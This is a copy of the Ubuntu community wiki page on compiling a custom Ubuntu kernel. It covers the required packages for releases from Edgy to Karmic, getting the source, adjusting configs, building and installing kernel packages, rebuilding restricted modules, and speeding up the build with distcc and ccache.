<p class="table-of-contents-heading">Contents</p>
<ol>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Disclaimer">Disclaimer</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Reasons%20for%20compiling%20a%20custom%20kernel">Reasons for compiling a custom kernel</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Reasons%20for%20NOT%20compiling%20a%20custom%20kernel">Reasons for NOT compiling a custom kernel</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Tools%20you%27ll%20need">Tools you&#8217;ll need</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Get%20the%20kernel%20source">Get the kernel source</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Modify%20the%20source%20for%20your%20needs">Modify the source for your needs</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Build%20the%20kernel%20%28when%20source%20is%20from%20git%20repository,%20or%20from%20apt-get%20source%29">Build the kernel (when source is from git repository, or from apt-get source)</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Alternate%20Build%20Method:%20The%20Old-Fashioned%20Debian%20Way">Alternate Build Method: The Old-Fashioned Debian Way</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Install%20the%20new%20kernel">Install the new kernel</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Rebuilding%20%27%27linux-restricted-modules%27%27">Rebuilding &#8221;linux-restricted-modules&#8221;</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Speeding%20Up%20The%20Build">Speeding Up The Build</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#More%20documentation">More documentation</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#Comments">Comments</a></li>
<li><a href="https://help.ubuntu.com/community/Kernel/Compile#External%20information">External information</a></li>
</ol>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<p><span class="anchor" id="line-2"></span><span class="anchor" id="line-3"></span></p>
<p class="line867">
<h2 id="Disclaimer">Disclaimer</h2>
<p><span class="anchor" id="line-4"></span><span class="anchor" id="line-5"></span></p>
<p class="line867"><strong>Building and using a custom kernel will make it very difficult to get support for your system. </strong><span class="anchor" id="line-6"></span><strong>While it is a learning experience to compile your own kernel, you will not be allowed to file bugs on the custom-built kernel (if you do, they will be Rejected without further explanation).</strong> <span class="anchor" id="line-7"></span><span class="anchor" id="line-8"></span></p>
<p><span id="more-90"></span></p>
<p class="line874">If you have a commercial support contract with Ubuntu/Canonical, this will void such support. <span class="anchor" id="line-9"></span><span class="anchor" id="line-10"></span></p>
<p class="line874">Also note that this page describes how to do things for the Edgy (2.6.17) kernel and newer! Until this kernel source, we did not have any mechanisms in place that would allow people to build their own kernels easily. This was intentional. <span class="anchor" id="line-11"></span><span class="anchor" id="line-12"></span></p>
<p class="line862">This page does <strong>NOT</strong> describe how to <a class="https" href="https://wiki.ubuntu.com/KernelTeam/GitKernelBuild">build upstream kernels</a> from kernel.org. This is how to rebuild the actual Ubuntu kernel source. <span class="anchor" id="line-13"></span><span class="anchor" id="line-14"></span></p>
<p class="line867">
<h2 id="Reasons for compiling a custom kernel">Reasons for compiling a custom kernel</h2>
<p><span class="anchor" id="line-15"></span><span class="anchor" id="line-16"></span></p>
<ul>
<li>You are a kernel developer. <span class="anchor" id="line-17"></span></li>
<li>You need the kernel compiled in a special way, that the official kernel is not compiled in (for example, with some experimental feature enabled). <span class="anchor" id="line-18"></span></li>
<li>You are attempting to debug a problem in the stock Ubuntu kernel for which you have filed or will file a bug report. <span class="anchor" id="line-19"></span></li>
<li>You have hardware the stock Ubuntu kernel does not support. <span class="anchor" id="line-20"></span><span class="anchor" id="line-21"></span></li>
</ul>
<p class="line867">
<h2 id="Reasons for NOT compiling a custom kernel">Reasons for NOT compiling a custom kernel</h2>
<p><span class="anchor" id="line-22"></span><span class="anchor" id="line-23"></span></p>
<ul>
<li>You merely need to compile a special driver. For this, you only need to install the linux-headers packages. <span class="anchor" id="line-24"></span></li>
<li>You have no idea what you are doing, and if you break something, you&#8217;ll need help fixing it. Depending on what you do wrong, you might end up having to reinstall your system from scratch. <span class="anchor" id="line-25"></span></li>
<li>You got to this page by mistake, and checked it out because it looked interesting, but you don&#8217;t really want to learn a lot about kernels. <span class="anchor" id="line-26"></span><span class="anchor" id="line-27"></span></li>
</ul>
<p class="line862">If you want to install a new kernel without compilation, you can use <a href="https://help.ubuntu.com/community/Synaptic">Synaptic</a>, search for linux-image and select the kernel version you want to install. <span class="anchor" id="line-28"></span><span class="anchor" id="line-29"></span></p>
<p class="line862">An easier way is Click on System &gt; Administration &gt; Update Manager &gt; Click on Check button &gt; Apply all updates including kernel. <span class="anchor" id="line-30"></span><span class="anchor" id="line-31"></span><span class="anchor" id="line-32"></span></p>
<p class="line867">
<h2 id="Tools you'll need">Tools you&#8217;ll need</h2>
<p><span class="anchor" id="line-33"></span><span class="anchor" id="line-34"></span></p>
<p class="line874">To start, you will need to install a few packages. The exact commands to install those packages depends on which release you are using: <span class="anchor" id="line-35"></span><span class="anchor" id="line-36"></span></p>
<ul>
<li style="list-style-type:none;">
<p class="line891"><strong>Edgy through Gutsy:</strong> <span class="anchor" id="line-37"></span><span class="anchor" id="line-38"></span><span class="anchor" id="line-39"></span><span class="anchor" id="line-40"></span></p>
<pre> sudo apt-get install linux-kernel-devel fakeroot kernel-wedge build-essential makedumpfile</pre>
<p><span class="anchor" id="line-41"></span><span class="anchor" id="line-42"></span><span class="anchor" id="line-43"></span></p>
<p class="line891"><strong>Hardy:</strong> <span class="anchor" id="line-44"></span><span class="anchor" id="line-45"></span><span class="anchor" id="line-46"></span><span class="anchor" id="line-47"></span></p>
<pre> sudo apt-get install linux-kernel-devel fakeroot kernel-wedge build-essential</pre>
<p><span class="anchor" id="line-48"></span><span class="anchor" id="line-49"></span>Note: The package &#8220;makedumpfile&#8221; is not available in hardy. <span class="anchor" id="line-50"></span><span class="anchor" id="line-51"></span><span class="anchor" id="line-52"></span></p>
<p class="line891"><strong>Intrepid, Jaunty, and Karmic:</strong> <span class="anchor" id="line-53"></span><span class="anchor" id="line-54"></span><span class="anchor" id="line-55"></span><span class="anchor" id="line-56"></span></p>
<pre> sudo apt-get install fakeroot kernel-wedge build-essential makedumpfile kernel-package</pre>
<p><span class="anchor" id="line-57"></span><span class="anchor" id="line-58"></span>Note: The linux-kernel-devel package does not exist in intrepid, jaunty, or any newer relase. To compile the kernel on intrepid or newer, you&#8217;ll also need to run: <span class="anchor" id="line-59"></span><span class="anchor" id="line-60"></span><span class="anchor" id="line-61"></span>
<pre> sudo apt-get build-dep linux</pre>
<p><span class="anchor" id="line-62"></span><span class="anchor" id="line-63"></span>This will install the compiler related packages and kernel packaging tools. It will also install the git-core package, which is the best way to interact with the Ubuntu kernel source. <span class="anchor" id="line-64"></span><span class="anchor" id="line-65"></span><span class="anchor" id="line-66"></span><span class="anchor" id="line-67"></span></li>
</ul>
<p class="line867">
<h2 id="Get the kernel source">Get the kernel source</h2>
<p><span class="anchor" id="line-68"></span><span class="anchor" id="line-69"></span></p>
<p class="line874">There are a few ways to obtain the Ubuntu kernel source: <span class="anchor" id="line-70"></span><span class="anchor" id="line-71"></span></p>
<ol type="1">
<li>
<p class="line862">Use git (detailed instructions on it can be found in the <a class="interwiki" title="Ubuntu" href="https://wiki.ubuntu.com/KernelTeam/KernelGitGuide">Kernel Git Guide</a>) &#8211; This is for users who always want to stay in sync with the latest Ubuntu kernel source. <span class="anchor" id="line-72"></span><span class="anchor" id="line-73"></span></p>
</li>
<li class="gap">Download the source archive &#8211; This is for users who want to rebuild the standard Ubuntu packages with additional patches. Note that this will almost always be out of date compared to the latest development source, so you should use git (option #1) if you need the latest patches. <span class="anchor" id="line-74"></span><span class="anchor" id="line-75"></span>To install the build dependencies and extract the source (to the current directory): <span class="anchor" id="line-76"></span></li>
</ol>
<p class="line867"><strong>Ubuntu Gutsy Gibbon (7.10) and previous releases:</strong> <span class="anchor" id="line-77"></span></p>
<ul>
<li style="list-style-type:none;"><span class="anchor" id="line-78"></span><span class="anchor" id="line-79"></span><span class="anchor" id="line-80"></span>
<pre>sudo apt-get build-dep linux-source
apt-get source linux-source</pre>
<p><span class="anchor" id="line-81"></span><span class="anchor" id="line-82"></span></li>
</ul>
<p class="line867"><strong>Ubuntu Hardy (8.04), Intrepid Ibex (8.10), Jaunty Jackalope (9.04):</strong> <span class="anchor" id="line-83"></span></p>
<ul>
<li style="list-style-type:none;"><span class="anchor" id="line-84"></span><span class="anchor" id="line-85"></span><span class="anchor" id="line-86"></span>
<pre>sudo apt-get build-dep --no-install-recommends --only-source linux
apt-get source --only-source linux</pre>
<p><span class="anchor" id="line-87"></span>Ubuntu modules source may also be needed if you plan to enable PAE and 64GB support in the kernel for 32bit Hardy (8.04). The Ubuntu supplied modules may not be compatible with PAE enabled kernel. <span class="anchor" id="line-88"></span><span class="anchor" id="line-89"></span><span class="anchor" id="line-90"></span><span class="anchor" id="line-91"></span>
<pre>sudo apt-get build-dep --no-install-recommends linux-ubuntu-modules-$(uname -r)
apt-get source linux-ubuntu-modules-$(uname -r)</pre>
<p><span class="anchor" id="line-92"></span><span class="anchor" id="line-93"></span>The source will be downloaded to a subdirectory inside the current directory. <span class="anchor" id="line-94"></span><span class="anchor" id="line-95"></span></li>
</ul>
<p class="line867"><strong>Ubuntu Karmic Koala (9.10) and newer releases: </strong><span class="anchor" id="line-96"></span><span class="anchor" id="line-97"></span><span class="anchor" id="line-98"></span><span class="anchor" id="line-99"></span></p>
<pre>sudo apt-get build-dep --no-install-recommends linux-image-$(uname -r)
apt-get source linux-image-$(uname -r)</pre>
<p><span class="anchor" id="line-100"></span><span class="anchor" id="line-101"></span></p>
<ol type="3">
<li>
<p class="line862">Download the source package (detailed instructions are further down this page under <a href="https://help.ubuntu.com/community/Kernel/Compile#AltBuildMethod">Alternate Build Method: The Old-Fashioned Debian Way</a>) &#8211; This is for users who simply want to modify, or play around with, the Ubuntu-patched kernel source. Again, this will not be the most up-to-date (use option #1/git if you need the latest source). Please be aware this is NOT the same as option #2 <span class="anchor" id="line-102"></span><span class="anchor" id="line-103"></span><span class="anchor" id="line-104"></span></p>
</li>
</ol>
<p class="line867">
<h2 id="Modify the source for your needs">Modify the source for your needs</h2>
<p><span class="anchor" id="line-105"></span><span class="anchor" id="line-106"></span></p>
<p class="line874">For most people, simply modifying the configs is enough. If you need to install a patch, read the instructions from the patch provider for how to apply. <span class="anchor" id="line-107"></span><span class="anchor" id="line-108"></span></p>
<p class="line862">The stock Ubuntu configs are located in <em>debian/config/ARCH/</em> where ARCH is the architecture you are building for (In Jaunty and Karmic this is <em>debian.master/config/ARCH/</em>). In this directory are several files. The <em>config</em> file is the base for all targets in that architecture. Then there are several config.FLAVOUR files that contain options specific to that target. For example, here are the files for 2.6.20, i386: <span class="anchor" id="line-109"></span><span class="anchor" id="line-110"></span></p>
<p class="line867"><span class="anchor" id="line-111"></span><span class="anchor" id="line-112"></span><span class="anchor" id="line-113"></span><span class="anchor" id="line-114"></span><span class="anchor" id="line-115"></span><span class="anchor" id="line-116"></span><span class="anchor" id="line-117"></span><span class="anchor" id="line-118"></span><span class="anchor" id="line-119"></span><span class="anchor" id="line-120"></span><span class="anchor" id="line-121"></span><span class="anchor" id="line-122"></span></p>
<pre>ls -l debian/config/i386/
total 108
-rw-r--r-- 1 root src  73962 2007-08-13 01:29 config
-rw-r--r-- 1 root root  1369 2007-08-13 01:29 config.386
-rw-r--r-- 1 root root  1330 2007-08-13 01:29 config.generic
-rw-r--r-- 1 root root  1395 2007-08-13 01:29 config.server
-rw-r--r-- 1 root root  1756 2007-08-13 01:29 config.server-bigiron
-rw-r--r-- 1 root root     8 2007-08-13 01:25 lowlatency
-rw-r--r-- 1 root root   194 2007-08-13 01:25 vars.386
-rw-r--r-- 1 root root   218 2007-08-13 01:25 vars.server-bigiron</pre>
<p><span class="anchor" id="line-123"></span><span class="anchor" id="line-124"></span></p>
<p class="line867"><strong>If you do not find the config files under debian/config, you may find them in your /boot directory, for instance, /boot/config-2.6.22-14-generic.</strong> <span class="anchor" id="line-125"></span><span class="anchor" id="line-126"></span></p>
<p class="line862">If you need to change a config option, simply modify the file that contains the option. If you modify just the <em>config</em> file, it will affect all targets for this architecture. If you modify one of the target files, it only affects that target. <span class="anchor" id="line-127"></span><span class="anchor" id="line-128"></span></p>
<p class="line874">After applying a patch, or adjusting the configs, it is always best to regenerate the config files to ensure they are consistent. There is a helper command for this. To regenerate all architectures run: <span class="anchor" id="line-129"></span><span class="anchor" id="line-130"></span></p>
<p class="line867"><span class="anchor" id="line-131"></span><span class="anchor" id="line-132"></span></p>
<pre>debian/rules updateconfigs</pre>
<p><span class="anchor" id="line-133"></span><span class="anchor" id="line-134"></span></p>
<p class="line874">If you just want to update one architecture, run: <span class="anchor" id="line-135"></span><span class="anchor" id="line-136"></span></p>
<p class="line867"><span class="anchor" id="line-137"></span><span class="anchor" id="line-138"></span></p>
<pre>debian/scripts/misc/oldconfig ARCH</pre>
<p><span class="anchor" id="line-139"></span><span class="anchor" id="line-140"></span></p>
<p class="line874">For these two commands to work, you may need to give the scripts in the debian/scripts/misc directory execute permission with the following command: <span class="anchor" id="line-141"></span><span class="anchor" id="line-142"></span></p>
<p class="line867"><span class="anchor" id="line-143"></span><span class="anchor" id="line-144"></span></p>
<pre>chmod a+x *</pre>
<p><span class="anchor" id="line-145"></span><span class="anchor" id="line-146"></span></p>
<p class="line867">
<h2 id="Build the kernel (when source is from git repository, or from apt-get source)">Build the kernel (when source is from git repository, or from apt-get source)</h2>
<p><span class="anchor" id="line-147"></span><span class="anchor" id="line-148"></span></p>
<p class="line874">To build the kernel(s) is very simple. Depending on your needs, you may want to build all the kernel targets, or just one specific to your system. However, you also want to make sure that you do not clash with the stock kernels. <span class="anchor" id="line-149"></span><span class="anchor" id="line-150"></span></p>
<p class="line862">Note: for an outside reference, see: <a class="http" href="http://blog.avirtualhome.com/2008/10/28/how-to-compile-a-custom-kernel-for-ubuntu-intrepid-using-git/">http://blog.avirtualhome.com/2008/10/28/how-to-compile-a-custom-kernel-for-ubuntu-intrepid-using-git/</a>. Though these outside instructions include making a separate and unique branch of the kernel, unlike here, it is a thorough explanation of all necessary steps from start to finish. <span class="anchor" id="line-151"></span>Peter has posted updated instructions for Jaunty see: <a class="http" href="http://blog.avirtualhome.com/2009/09/08/how-to-compile-a-kernel-for-ubuntu-jaunty-revised/">http://blog.avirtualhome.com/2009/09/08/how-to-compile-a-kernel-for-ubuntu-jaunty-revised/</a> <span class="anchor" id="line-152"></span>As there were some changes in the way you have to compile a kernel for Karmic, there are separate instructions available for Karmic: <a class="http" href="http://blog.avirtualhome.com/2009/11/03/how-to-compile-a-kernel-for-ubuntu-karmic/">http://blog.avirtualhome.com/2009/11/03/how-to-compile-a-kernel-for-ubuntu-karmic/</a> <span class="anchor" id="line-153"></span><span class="anchor" id="line-154"></span></p>
<p class="line867"><strong>These instructions are specific to the git-tree and for the source downloaded via apt-get source, <em>not</em> when downloading the linux-source package from kernel.org</strong> <span class="anchor" id="line-155"></span><span class="anchor" id="line-156"></span></p>
<p class="line874">Use this command to build all targets for the architecture you are building on: <span class="anchor" id="line-157"></span><span class="anchor" id="line-158"></span></p>
<p class="line867"><span class="anchor" id="line-159"></span><span class="anchor" id="line-160"></span><span class="anchor" id="line-161"></span></p>
<pre>fakeroot debian/rules clean
AUTOBUILD=1 fakeroot debian/rules binary-debs</pre>
<p><span class="anchor" id="line-162"></span><span class="anchor" id="line-163"></span></p>
<p class="line862">debian/rules clean creates debian/control, debian/changelog, and so on from debian.&lt;branchname&gt;/* (e.g. debian.master). It is necessary in git trees following git commit 3ebd3729ce35b784056239131408b9a72b0288ef &#8220;UBUNTU: [Config] Abstract the debian directory&#8221; <span class="anchor" id="line-164"></span><span class="anchor" id="line-165"></span></p>
<p class="line862">The <em>AUTOBUILD</em> environment variable triggers special features in the kernel build. First, it skips normal ABI checks (ABI is the binary compatibility). It can do this because it also creates a unique ABI ID. If you used a git repo, this unique ID is generated from the git HEAD SHA. If not, it is generated from the uuidgen program (which means every time you execute the debian/rules build, the UUID will be different!). Your packages will be named using this ID. (Note that in Intrepid and newer, you will need &#8220;skipabi=true&#8221; to skip ABI checks.) <span class="anchor" id="line-166"></span><span class="anchor" id="line-167"></span></p>
<p class="line874">To build a specific target, use this command: <span class="anchor" id="line-168"></span><span class="anchor" id="line-169"></span></p>
<p class="line867"><span class="anchor" id="line-170"></span><span class="anchor" id="line-171"></span><span class="anchor" id="line-172"></span></p>
<pre>fakeroot debian/rules clean
AUTOBUILD=1 NOEXTRAS=1 fakeroot debian/rules binary-FLAVOUR</pre>
<p><span class="anchor" id="line-173"></span><span class="anchor" id="line-174"></span></p>
<p class="line874">Where FLAVOUR is one of the main flavours of the kernel (e.g. generic) <span class="anchor" id="line-175"></span><span class="anchor" id="line-176"></span></p>
<p class="line874">To build one of the custom flavours (found in debian/binary-custom.d/), use: <span class="anchor" id="line-177"></span><span class="anchor" id="line-178"></span></p>
<p class="line867"><span class="anchor" id="line-179"></span><span class="anchor" id="line-180"></span><span class="anchor" id="line-181"></span></p>
<pre>fakeroot debian/rules clean
AUTOBUILD=1 NOEXTRAS=1 fakeroot debian/rules custom-binary-FLAVOUR</pre>
<p><span class="anchor" id="line-182"></span><span class="anchor" id="line-183"></span></p>
<p class="line874">As of this documentation, custom flavours include xen and rt. <span class="anchor" id="line-184"></span><span class="anchor" id="line-185"></span></p>
<p class="line874">If you have a more than one processor or more than one core, you can speed things up by running concurrent compile commands. Prepend CONCURRENCY_LEVEL=2 for two processors or two cores; replace &#8217;2&#8242; with whatever number suits your hardware setup (for Gutsy and later, you can alternatively use DEB_BUILD_OPTIONS=parallel=2). <span class="anchor" id="line-186"></span><span class="anchor" id="line-187"></span></p>
<p class="line867"><span class="anchor" id="line-188"></span><span class="anchor" id="line-189"></span><span class="anchor" id="line-190"></span></p>
<pre>fakeroot debian/rules clean
DEB_BUILD_OPTIONS=parallel=2 AUTOBUILD=1 NOEXTRAS=1 fakeroot debian/rules binary-generic</pre>
<p><span class="anchor" id="line-191"></span><span class="anchor" id="line-192"></span></p>
<p class="line874">If you get ABI errors, you can avoid the ABI check with skipabi=true. For example, <span class="anchor" id="line-193"></span><span class="anchor" id="line-194"></span></p>
<p class="line867"><span class="anchor" id="line-195"></span><span class="anchor" id="line-196"></span><span class="anchor" id="line-197"></span></p>
<pre>fakeroot debian/rules clean
DEB_BUILD_OPTIONS=parallel=2 AUTOBUILD=1 NOEXTRAS=1 skipabi=true fakeroot debian/rules binary-generic</pre>
<p><span class="anchor" id="line-198"></span><span class="anchor" id="line-199"></span></p>
<p class="line874">To trigger a rebuild, remove the appropriate stamp file from debian/stamps (e.g. stamp-build-server for the server flavour, etc.). <span class="anchor" id="line-200"></span><span class="anchor" id="line-201"></span></p>
<p class="line874">The debs are placed in your kernel directory&#8217;s parent directory. <span class="anchor" id="line-202"></span><span class="anchor" id="line-203"></span></p>
<p class="line874">If needed, the Ubuntu modules source for Hardy (8.04) can be built in similar way. <span class="anchor" id="line-204"></span><span class="anchor" id="line-205"></span><span class="anchor" id="line-206"></span><span class="anchor" id="line-207"></span></p>
<pre>cd linux-ubuntu-modules-2.6.24-2.6.24
AUTOBUILD=1 fakeroot debian/rules binary-debs</pre>
<p><span class="anchor" id="line-208"></span><span class="anchor" id="line-209"></span></p>
<p class="line874">Alternatively, if you need to specify a different kernel than that of the running kernel, use <span class="anchor" id="line-210"></span><span class="anchor" id="line-211"></span><span class="anchor" id="line-212"></span><span class="anchor" id="line-213"></span></p>
<pre>cd linux-ubuntu-modules-2.6.24-2.6.24
AUTOBUILD=1 fakeroot debian/rules binary-debs KDIR=/path/to/kerneldir</pre>
<p><span class="anchor" id="line-214"></span><span class="anchor" id="line-215"></span></p>
<p class="line874">If you get an error, try running this in the kerneldir: (example for the &#8220;generic&#8221; flavour) <span class="anchor" id="line-216"></span><span class="anchor" id="line-217"></span><span class="anchor" id="line-218"></span><span class="anchor" id="line-219"></span></p>
<pre>cat debian/config/i386/config debian/config/i386/config.generic &gt; .config
make prepare scripts</pre>
<p><span class="anchor" id="line-220"></span><span class="anchor" id="line-221"></span><span class="anchor" id="line-222"></span><span class="anchor" id="line-223"></span></p>
<p class="line867"><span class="anchor" id="AltBuildMethod"></span><span class="anchor" id="line-224"></span></p>
<h2 id="Alternate Build Method: The Old-Fashioned Debian Way">Alternate Build Method: The Old-Fashioned Debian Way</h2>
<p><span class="anchor" id="line-225"></span><span class="anchor" id="line-226"></span></p>
<p class="line874">The new Ubuntu build system is great for developers, for people who need the absolute latest bleeding-edge kernel, and people who need to build a diverse set of kernels (several &#8220;flavours&#8221;). However it can be a little complex for ordinary users. If you don&#8217;t need the latest development sources, there is a simpler way to compile your kernel from the linux-source package. As suggested above, all you need for this is: <span class="anchor" id="line-227"></span><span class="anchor" id="line-228"></span><span class="anchor" id="line-229"></span><span class="anchor" id="line-230"></span><span class="anchor" id="line-231"></span><span class="anchor" id="line-232"></span><span class="anchor" id="line-233"></span></p>
<pre>sudo apt-get install linux-source device-tree-compiler # device-tree-compiler is only needed if you are targeting the PowerPC architecture
mkdir ~/src
cd ~/src
tar xjvf /usr/src/linux-source-&lt;version-number-here&gt;.tar.bz2
cd linux-source-&lt;version-number-here&gt;</pre>
<p><span class="anchor" id="line-234"></span><span class="anchor" id="line-235"></span></p>
<p class="line874">Now you are in the top directory of a kernel source tree. Before building the kernel, you must configure it. If you wish to re-use the configuration of your currently-running kernel, start with <span class="anchor" id="line-236"></span><span class="anchor" id="line-237"></span><span class="anchor" id="line-238"></span></p>
<pre>cp -vi /boot/config-`uname -r` .config</pre>
<p><span class="anchor" id="line-239"></span><span class="anchor" id="line-240"></span></p>
<p class="line874">Before you run &#8216;make menuconfig&#8217; or &#8216;make xconfig&#8217; (which is what the next step tells you to do), make sure you have the necessary packages <span class="anchor" id="line-241"></span><span class="anchor" id="line-242"></span></p>
<p class="line867"><span class="anchor" id="line-243"></span><span class="anchor" id="line-244"></span><span class="anchor" id="line-245"></span></p>
<pre>sudo apt-get install qt3-dev-tools libqt3-mt-dev # if you plan to use 'make xconfig'
sudo apt-get install libncurses5 libncurses5-dev # if you plan to use 'make menuconfig'</pre>
<p><span class="anchor" id="line-246"></span><span class="anchor" id="line-247"></span></p>
<p class="line874">If you would like to see what is different between your original kernel config and the new one (and decide whether you want any of the new features), you can run: <span class="anchor" id="line-248"></span><span class="anchor" id="line-249"></span><span class="anchor" id="line-250"></span></p>
<pre>make oldconfig</pre>
<p><span class="anchor" id="line-251"></span></p>
<p class="line874">Since 2.6.32 kernel, a new feature allows you to update the configuration to only compile modules that are actually used in your system: <span class="anchor" id="line-252"></span><span class="anchor" id="line-253"></span><span class="anchor" id="line-254"></span></p>
<pre>make localmodconfig</pre>
<p><span class="anchor" id="line-255"></span></p>
<p class="line874">Then, regardless of whether you&#8217;re re-using existing configuration or starting from scratch: <span class="anchor" id="line-256"></span><span class="anchor" id="line-257"></span><span class="anchor" id="line-258"></span></p>
<pre>make menuconfig # or "make xconfig" if you prefer</pre>
<p><span class="anchor" id="line-259"></span><span class="anchor" id="line-260"></span></p>
<p class="line874">If you re-used the existing configuration, note that Ubuntu kernels build with debugging information on, which makes the resulting kernel modules (*.ko files) much larger than they would otherwise be. To turn this off, go into &#8220;Kernel hacking&#8221;; then, under &#8220;Kernel debugging&#8221;, turn OFF &#8220;Compile the kernel with debug info&#8221;. <span class="anchor" id="line-261"></span><span class="anchor" id="line-262"></span></p>
<p class="line874">Now you can compile the kernel and create the packages: <span class="anchor" id="line-263"></span><span class="anchor" id="line-264"></span><span class="anchor" id="line-265"></span><span class="anchor" id="line-266"></span></p>
<pre>make-kpkg clean # only needed if you want to do a "clean" build
fakeroot make-kpkg --initrd --append-to-version=-some-string-here kernel-image kernel-headers</pre>
<p><span class="anchor" id="line-267"></span><span class="anchor" id="line-268"></span></p>
<p class="line862">You can enable parallel make (just like <tt class="backtick">make&nbsp;-j</tt>) by defining the CONCURRENCY_LEVEL environment variable. Don&#8217;t try to add the <tt class="backtick">-j</tt> option to make-kpkg. Try 1+<em>number of processor cores</em>, e.g. 3 if you have a dual core processor. <span class="anchor" id="line-269"></span><span class="anchor" id="line-270"></span><span class="anchor" id="line-271"></span></p>
<pre>export CONCURRENCY_LEVEL=3</pre>
<p><span class="anchor" id="line-272"></span><span class="anchor" id="line-273"></span></p>
<p class="line862">The *.deb packages will be created in the parent directory of your Linux source directory (in this example, it would be placed in ~/src because our Linux source directory is ~/src/linux-source-&lt;version-number-here&gt;). <span class="anchor" id="line-274"></span><span class="anchor" id="line-275"></span><span class="anchor" id="line-276"></span></p>
<p class="line867">
<h2 id="Install the new kernel">Install the new kernel</h2>
<p><span class="anchor" id="line-277"></span><span class="anchor" id="line-278"></span></p>
<p class="line874">If you want to see the ubuntu splash screen (or use text mode) before you get to X instead of just a black screen, you&#8217;ll want to make sure the framebuffer driver loads: <span class="anchor" id="line-279"></span><span class="anchor" id="line-280"></span><span class="anchor" id="line-281"></span><span class="anchor" id="line-282"></span></p>
<pre>echo vesafb | sudo tee -a /etc/initramfs-tools/modules
echo fbcon | sudo tee -a /etc/initramfs-tools/modules</pre>
<p><span class="anchor" id="line-283"></span><span class="anchor" id="line-284"></span></p>
<p class="line874">Now that you&#8217;ve told initramfs-tools what modules it should include and the build is complete, you can install the generated debs using dpkg: <span class="anchor" id="line-285"></span><span class="anchor" id="line-286"></span></p>
<p class="line867"><span class="anchor" id="line-287"></span><span class="anchor" id="line-288"></span><span class="anchor" id="line-289"></span></p>
<pre>sudo dpkg -i linux-image-2.6.20-16-2be-k7_2.6.20-16_i386.deb
sudo dpkg -i linux-headers-2.6.20-16-2be-k7_2.6.20-16_i386.deb</pre>
<p><span class="anchor" id="line-290"></span><span class="anchor" id="line-291"></span></p>
<p class="line874">Similarly, if you have build the Ubuntu module for Hardy (8.04) earlier, install them as follows: <span class="anchor" id="line-292"></span><span class="anchor" id="line-293"></span></p>
<p class="line867"><span class="anchor" id="line-294"></span><span class="anchor" id="line-295"></span><span class="anchor" id="line-296"></span></p>
<pre>sudo dpkg -i linux-ubuntu-modules-2.6.24-16-generic_2.6.24-16.23_i386.deb
sudo dpkg -i linux-headers-lum-2.6.24-16-generic_2.6.24-16.23_i386.deb</pre>
<p><span class="anchor" id="line-297"></span><span class="anchor" id="line-298"></span></p>
<p class="line862">If you use modules from <em>linux-restricted-modules</em>, you will need to recompile this against your new linux-headers package. <span class="anchor" id="line-299"></span><span class="anchor" id="line-300"></span></p>
<p class="line867">
<h2 id="Rebuilding ''linux-restricted-modules''">Rebuilding &#8221;linux-restricted-modules&#8221;</h2>
<p><span class="anchor" id="line-301"></span><span class="anchor" id="line-302"></span></p>
<p class="line874">The Linux-Restricted-Modules (l-r-m) package contains a number of non-DFSG-free drivers (as well as some firmware and the ipw3945 wireless networking daemon) which, in a perfect world, wouldn&#8217;t have to be packaged separately, but which unfortunately are not available under a GPL-compatible license. If you use any of the hardware supported by the l-r-m package, you will likely find that your system does not work as well after switching to a custom kernel. In this case you should try to compile the l-r-m package. <span class="anchor" id="line-303"></span><span class="anchor" id="line-304"></span></p>
<p class="line862">See <a href="https://help.ubuntu.com/community/CustomRestrictedModules">CustomRestrictedModules</a> on how to rebuild l-r-m (if you use nvidia or ATi binary drivers, you do). <span class="anchor" id="line-305"></span><span class="anchor" id="line-306"></span></p>
<p class="line874">Note: you will need around 8 hours of compilation time and around 10 Gb of hard drive space to compile all kernel flavours and a restricted modules. <span class="anchor" id="line-307"></span><span class="anchor" id="line-308"></span></p>
<p class="line867">
<h2 id="Speeding Up The Build">Speeding Up The Build</h2>
<p><span class="anchor" id="line-309"></span><span class="anchor" id="line-310"></span></p>
<p class="line862">Use <tt>distcc</tt> and, if you&#8217;re rebuilding often, <tt>ccache</tt>. <span class="anchor" id="line-311"></span>A good overview of using <tt>distcc</tt> on a debian-based system is available at <a class="http" href="http://myrddin.org/howto/using-distcc-with-debian">http://myrddin.org/howto/using-distcc-with-debian</a>. <span class="anchor" id="line-312"></span>If you have AMD64 machines available on your local net, they can still participate in building 32-bit code; <tt>distcc</tt> seems to handle that automatically. However, with <tt>distcc</tt> taking over all compiles by default, you will need to set <tt>HOSTCC</tt> so that when kernel builds want to use the compiler on the host itself, they don&#8217;t end up distributing jobs to the 64-bit server. If you fail to do that, you&#8217;ll get link-compatibility failures between 64-bit and 32-bit code. My <tt>make-kpkg</tt> command, with /usr/lib/ccache at the head of my <tt>$PATH</tt>, looks like: <span class="anchor" id="line-313"></span><span class="anchor" id="line-314"></span></p>
<p class="line867"><span class="anchor" id="line-315"></span><span class="anchor" id="line-316"></span></p>
<pre>MAKEFLAGS="HOSTCC=/usr/bin/gcc CCACHE_PREFIX=distcc" make-kpkg --rootcmd fakeroot --initrd --append-to-version=-suspend2 kernel-image kernel-headers kernel-source</pre>
<p><span class="anchor" id="line-317"></span><span class="anchor" id="line-318"></span><span class="anchor" id="line-319"></span></p>
<p class="line867">
<h2 id="More documentation">More documentation</h2>
<p><span class="anchor" id="line-320"></span></p>
<ul>
<li>
<p class="line891"><a class="https" href="https://help.ubuntu.com/community/forum/software/CustomKernel">https://help.ubuntu.com/community/forum/software/CustomKernel</a> <span class="anchor" id="line-321"></span></p>
</li>
<li>
<p class="line891"><a href="https://help.ubuntu.com/community/UpgradeKernel">UpgradeKernel</a> , with easier ways. <span class="anchor" id="line-322"></span></p>
</li>
</ul>
<p class="line867">
<h2 id="Comments">Comments</h2>
